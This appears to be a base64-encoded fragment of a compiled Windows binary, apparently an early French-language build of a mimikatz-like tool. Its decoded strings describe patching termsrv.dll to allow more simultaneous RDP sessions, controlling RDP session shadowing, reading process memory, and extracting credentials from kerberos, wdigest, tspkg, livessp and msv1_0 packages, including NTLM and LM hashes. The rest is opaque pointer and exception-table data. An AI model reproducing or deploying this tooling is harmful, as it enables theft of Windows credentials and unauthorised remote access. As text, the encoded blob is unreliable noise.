AdABlAG0AOgA6AGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAAOgAgAAAAAABzAGUAcwBzAGkAbwBuAHMAAAAAAHAAcgBvAGMAZQBzAHMAZQBzAAAAAAAAAFAAYQB0AGMAaAAgAGwAZQAgAGIAdQByAGUAYQB1ACAA4AAgAGQAaQBzAHQAYQBuAGMAZQAgAHAAbwB1AHIAIABkAOkAcABhAHMAcwBlAHIAIAAyACAAYwBvAG4AbgBlAHgAaQBvAG4AcwAgAHMAaQBtAHUAbAB0AGEAbgDpAGUAcwAAAG0AdQBsAHQAaQByAGQAcAAAAAAAQQBmAGYAaQBjAGgAZQAgAGwAJwDpAHQAYQB0ACAAZABlACAAbABhACAAcAByAGkAcwBlACAAZABlACAAYwBvAG4AdAByAPQAbABlACAAZABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABSAEQAUAAAAHYAaQBlAHcAcwBoAGEAZABvAHcAAAAAAE0AbwBkAGkAZgBpAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAIAAoAEQASQBTAEEAQgBMAEUALAAgAEkATgBUAEUAUgBBAEMAVAAsACAASQBOAFQARQBSAEEAQwBUAF8ATgBPAEEAUwBLACwAIABWAEkARQBXACwAIABWAEkARQBXAF8ATgBPAEEAUwBLACkAAABtAG8AZABpAGYAeQBzAGgAYQBkAG8AdwAAAAAAUwBlAHMAcwBJAGQACQBFAHQAYQB0AAkAcwB0AHIARQB0AGEAdAAAAG0AbwBkAF8AdABzADoAOgBnAGUAdABTAGUAcwBzAGkAbwBuAHMAIAA6ACAAAAAAAFAASQBEAAkAUwBlAHMAcwBJAGQACQBVAHQAaQBsAGkAcwBhAHQAZQB1AHIAAAAAAEQASQBTAEEAQgBMAEUAAABJAE4AVABFAFIAQQBDAFQAAAAAAEkATgBUAEUAUgBBAEMAVABfAE4ATwBBAFMASwAAAAAAVgBJAEUAVwAAAAAAVgBJAEUAVwBfAE4ATwBBAFMASwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABwAGEAcgBzAGkAbgBnACAAZABlACAAbAAnAGEAcgBnAHUAbQBlAG4AdAAgADoAIAAAAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAQABXAGkAbgBzAHQAYQB0AGkAbwBuACAAOgAgAAAAAAAgADwALQA+ACAAAAAJAAAACQBpAGQAIAAgACAAIAAgADoAIAAAAAAACQBuAGEAbQBlACAAIAAgADoAIAAAAAAACQBzAG4AYQBtAGUAIAAgADoAIAAAAAAACQB0AHkAcABlACAAIAAgADoAIAAAAAAACQBzAGgAYQBkAG8AdwAgADoAIAAAAAAACQAgACAAIAAgACAAIAA9AD4AIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcgBlAGEAZABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAFMAZQByAHYAaQBjAGUARgBvAHIATgBhAG0AZQAgADoAIAAAAEkATgBUAEUAUgBBAEMAVAAgACgAYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4AKQAAAFYASQBFAFcAIAAoAGMAbwBuAGYAaQByAG0AYQB0AGkAbwBuACkAAABBAGMAdABpAHYAZQAAAAAAQwBvAG4AbgBlAGMAdABlAGQAAABDAG8AbgBuAGUAYwB0AFEAdQBlAHIAeQAAAAAAUwBoAGEAZABvAHcAAAAAAEQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkAAAAAABJAGQAbABlAAAAAABMAGkAcwB0AGUAbgAAAAAAUgBlAHMAZQB0AAAARABvAHcAbgAAAAAASQBuAGkAdAAAAAAATABpAHMAdABlACAAbABlAHMAIAB0AGgAcgBlAGEAZABzAAAAUwB1AHMAcABlAG4AZAAgAHUAbgAgAHQAaAByAGUAYQBkACAAYQBjAHQAaQBmAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHQAaAByAGUAYQBkACAAcwB1AHMAcABlAG4AZAB1AAAAAABBAHIAcgDqAHQAZQAgAHUAbgAgAHQAaAByAGUAYQBkAAAAAAAAAAAARQBuAHYAbwBpACAAdQBuACAAbQBlAHMAcwBhAGcAZQAgAGQAZQAgAGYAZQByAG0AZQB0AHUAcgBlACAA4AAgAHUAbgAgAHQAaAByAGUAYQBkAAAAcQB1AGkAdAAAAAAAUABJAEQACQBUAEkARAAJAHAAcgBUAGgAAAAAAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAAAAAAkAcgBlAHAAcgBpAHMAZQAgAAAAdABoAHIAZQBhAGQAIAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgByAGUAcwB1AG0AZQAgADsAIAAAAAAAJwAgAGkAbgB2AGEAbABpAGQAZQAAAAAAYQByAGcAdQBtAGUAbgB0ACAAJwAAAAAACQBzAHUAcwBwAGUAbgBzAGkAbwBuACAAAAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgBzAHUAcwBwAGUAbgBkACAAOwAgAAAACQBhAHIAcgDqAHQAIAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgBzAHQAbwBwACAAOwAgAAAAAAAJAG0AZQBzAHMAYQBnAGUAIABmAGUAcgBtAGUAdAB1AHIAZQAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHEAdQBpAHQAIAA7ACAAAAAAAAAAAABNAGUAdAAgAGUAbgAgAHAAYQB1AHMAZQAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAAAAcABhAHUAcwBlAAAAUgBlAHAAcgBlAG4AZAAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAHIAZQBwAHIAaQBzAGUAAABEAOkAbQBhAHIAcgBlACAAdQBuAGUAIABuAG8AdQB2AGUAbABsAGUAIABwAGEAcgB0AGkAZQAAAFQAcgBpAGMAaABlACAAYQB1ACAAZADpAG0AaQBuAGUAdQByAAAAAABjAGgAZQBhAHQAAABQAGEAdABjAGgA6QAgADsAKQAAAHcAaQBuAG0AaQBuAGUALgBlAHgAZQAAAG4ALgBhAC4AIAAoAGsAZQByAGIAZQByAG8AcwAgAEsATwApAAAAAABuAC4AcwAuACAAKABTAHUAcABwAEMAcgBlAGQAIABLAE8AKQAgAC8AIAAAAG4ALgBhAC4AIAAoAGwAaQB2AGUAcwBzAHAAIABLAE8AKQAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBQAFIASQBNAEEAUgBZAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAABuAC4AcwAuACAAKABQAHIAaQBtAGEAcgB5AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAEsATwApAAAAAABuAC4AZQAuACAAKABMAGUAYwB0AHUAcgBlACAASwBJAFcASQBfAE0AUwBWADEAXwAwAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAABuAC4AcwAuACAAKABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABLAE8AKQAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBMAEkAUwBUACAASwBPACkAAAAAAG4ALgBhAC4AIAAoAG0AcwB2ADEAXwAwACAASwBPACkAAAAAACAAfQAsACAAbgB0AGwAbQB7ACAAAAAAAGwAbQB7ACAAAAAAAAkAIAAqACAASABhAHMAaAAgAE4AVABMAE0AIAAgACAAIAA6ACAAAAAJACAAKgAgAEgAYQBzAGgAIABMAE0AIAAgACAAIAAgACAAOgAgAAAAbgAuAGUALgAgACgATABlAGMAdAB1AHIAZQAgAEIAbABvAGMAawAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAEsATwApAAAAbgAuAHMALgAgACgAQgBsAG8AYwBrACAAQwByAGUAZABlAG4AdABpAGEAbABzACAASwBPACkAAABuAC4AYQAuACAAKABTAFMAUAAgAEsATwApAAAAbgAuAGEALgAgACgAdABzAHAAawBnACAASwBPACkAAABTcEluc3RhbmNlSW5pdAAAbgAuAGEALgAgACgAdwBkAGkAZwBlAHMAdAAgAEsATwApAAAAAAAAIF+gAkIPevi3pZWqOLu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AAAD/////AAAAAAwAAADULwIQAAAAAP0WABAAAAAA8LsEEAMAAAAAvAQQiLsEEDDEBBAAAAAALAEFEAAAAAD/////AAAAAAwAAAAhMAIQ/////33HAxAiBZMZAQAAABy8BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////oscDECIFkxkBAAAASLwEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////FxwMQIgWTGQEAAAB0vAQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA//////LHAxAiBZMZAQAAAKC8BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////H8gDECIFkxkBAAAAzLwEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP7///8AAAAA1P///wAAAAD+////AAAAAKtTAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAApFcCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAC6WQIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAMBaAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAoFsCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADKZQIQ/v///wAAAADWZQIQ/v///wAAAADM////AAAAAP7///8AAAAA7XICEAAAAAAAAAAAqnICEAAAAAAAAAAAvHICEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAC8dAIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAANd3AhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAy3gCEAAAAAD+////AAAAANT///8AAAAA/v///yt6AhA8egIQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAHGKAhAAAAAAM4oCED2KAhD+////AAAAANj///8AAAAA/v///xmLAhAiiwIQQAAAAAAAAAAAAAAAEYwCEP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAvL4EECIFkxkCAAAAzL4EEAEAAADcvgQQAAAAAAAAAAAAAAAAAQAAAAAAAAD+////AAAAALT///8AAAAA/v///wAAAABJjQIQAAAAALmMAhDCjAIQ/v///wAAAADU////AAAAAP7///8wjwIQNI8CEAAAAAD+////AAAAANj///8AAAAA/v///8mPAhDNjwIQAAAAANWIAhAAAAAAjL8EEAIAAACYvwQQMMQEEAAAAACwBgUQAAAAAP////8AAAAADAAAAMCUAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAANqQCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAtpgIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAFaoAhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAA4akCEAAAAAAAAAAArakCEP7///8AAAAA1P///wAAAAD+////AAAAADOqAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAMqsCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB+rAIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHGtAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA6K4CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACXuQIQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAMK6AhD+////AAAAANG6AhD+////AAAAANj///8AAAAA/v///wAAAACEvAIQ/v///wAAAACQvAIQ/v///wAAAADU////AAAAAP7///8AAAAA7L4CEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACfwwIQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAGDJAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAitMCEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABr1wIQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAMvYAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAwtsCEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACU3wIQAAAAAP7///8AAAAA2P///wAAAAD+////1ukCEPLpAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAbOsCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAADm7AIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAACPvAhAAAAAA/v///wAAAADI////AAAAAP7///8AAAAA6PACEAAAAAAAAAAAJPACEP7///8AAAAA0P///wAAAAD+////AAAAAIYrAxAAAAAA/v///wAAAADY////AAAAAP7///80WgMQOFoDEAAAAAD+////AAAAANj///8AAAAA/v///4RaAxCIWgMQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAN5wAxAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAlnQDEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAAFdgMQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAANJ3AxAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAxYwDEAAAAAD+////AAAAANj///8AAAAA/v///3uOAxCOjgMQAAAAAKQYBRAAAAAA/////wAAAAAMAAAAOxEAEAAAAADEGAUQAAAAAP////8AAAAADAAAAOtMAhACAAAAFMQEEDDEBBAAAAAA/RYAEAAAAABMxAQQAAAAAOAYBRAAAAAA/////wAAAAAUAAAAAhcAEAAAAAAEGQUQAAAAAP////8AAAAAFAAAAB0XABAEAAAAaMQEEITEBBAUxAQQMMQEEAAAAAD9FgAQAAAAAKDEBBAAAAAAJBkFEAAAAAD/////AAAAAAwAAAAQTQIQAgAAAMTEBBAwxAQQAAAAALlMAhAAAAAA4MQEEAAAAABAGQUQAAAAAP////8AAAAADAAAAFJOABACAAAA/MQEEDDEBBAAAAAAABAAEAAAAAAYxQQQ/////wAAAAD/////AAAAAAAAAAAAAAAAAAAAAM3QARAAAAAAAAAAAAEAAAABAAAARMUEECIFkxkCAAAANMUEEAEAAABUxQQQAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAAAAAAAAAAAyOgEQAAAAAAAAAAABAAAAAQAAAJzFBBAiBZMZAgAAAIzFBBABAAAArMUEEAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAeekAEAAAAAAAAAAAAQAAAAEAAAD0xQQQIgWTGQIAAADkxQQQAQAAAATGBBAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAAAAAAAAAAAAOHoABAAAAAAAAAAAAEAAAABAAAATMYEECIFkxkCAAAAPMYEEAEAAABcxgQQAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAAAAAAAAAACM4QAQAAAAAAAAAAABAAAAAQAAAKTGBBAiBZMZAgAAAJTGBBABAAAAtMYEEAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAA8eAAEAAAAAAAAAAAAQAAAAEAAAD8xgQQIgWTGQIAAADsxgQQAQAAAAzHBBAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAAAAAAAAAAAAGu8ABAAAAAAAAAAAAEAAAABAAAAVMcEECIFkxkCAAAARMcEEAEAAABkxwQQAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAAAAAAAAAACZUgAQAAAAAAAAAAABAAAAAQAAAKzHBBAiBZMZAgAAAJzHBBABAAAAvMcEEAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAyugBEAAAAAAAAAAAAQAAAAEAAAAEyAQQIgWTGQIAAAD0xwQQAQAAABTIBBAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAAAAAAAAAAAALfnARAAAAAAAAAAAAEAAAABAAAAXMgEECIFkxkCAAAATMgEEAEAAABsyAQQAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA2EkAEAAAAAAAAAAAAAAAAGFJABACAAAAAgAAAAMAAAABAAAAxMgEEAAAAAAAAAAAAwAAAAEAAADUyAQQIgWTGQQAAACkyAQQAgAAAOTIBBAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAACjRgAQAAAAAAAAAAAAAAAAKkYAEAIAAAACAAAAAwAAAAEAAABQyQQQAAAAAAAAAAADAAAAAQAAAGDJBBAiBZMZBAAAADDJBBACAAAAcMkEEAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAF6sAEAAAAAAAAAAAAQAAAAEAAADMyQQQIgWTGQIAAAC8yQQQAQAAANzJBBAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAAAAAAAAAAAAMiqABAAAAAAAAAAAAEAAAABAAAAJMoEECIFkxkCAAAAFMoEEAEAAAA0ygQQAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAAAAAAAAAAD4qAAQAAAAAAAAAAABAAAAAQAAAHzKBBAiBZMZAgAAAGzKBBABAAAAjMoEEAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAXKMAEAAAAAAAAAAAAQAAAAEAAADUygQQIgWTGQIAAADEygQQAQAAAOTKBBAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAAAAAAAAAAAAGnCARAAAAAAAAAAAAEAAAABAAAALMsEECIFkxkCAAAAHMsEEAEAAAA8ywQQAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAAAAAAAAAABKrwEQAAAAAAAAAAABAAAAAQAAAITLBBAiBZMZAgAAAHTLBBABAAAAlMsEEAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAA/ToBEAAAAAAAAAAAAQAAAAEAAADcywQQIgWTGQIAAADMywQQAQAA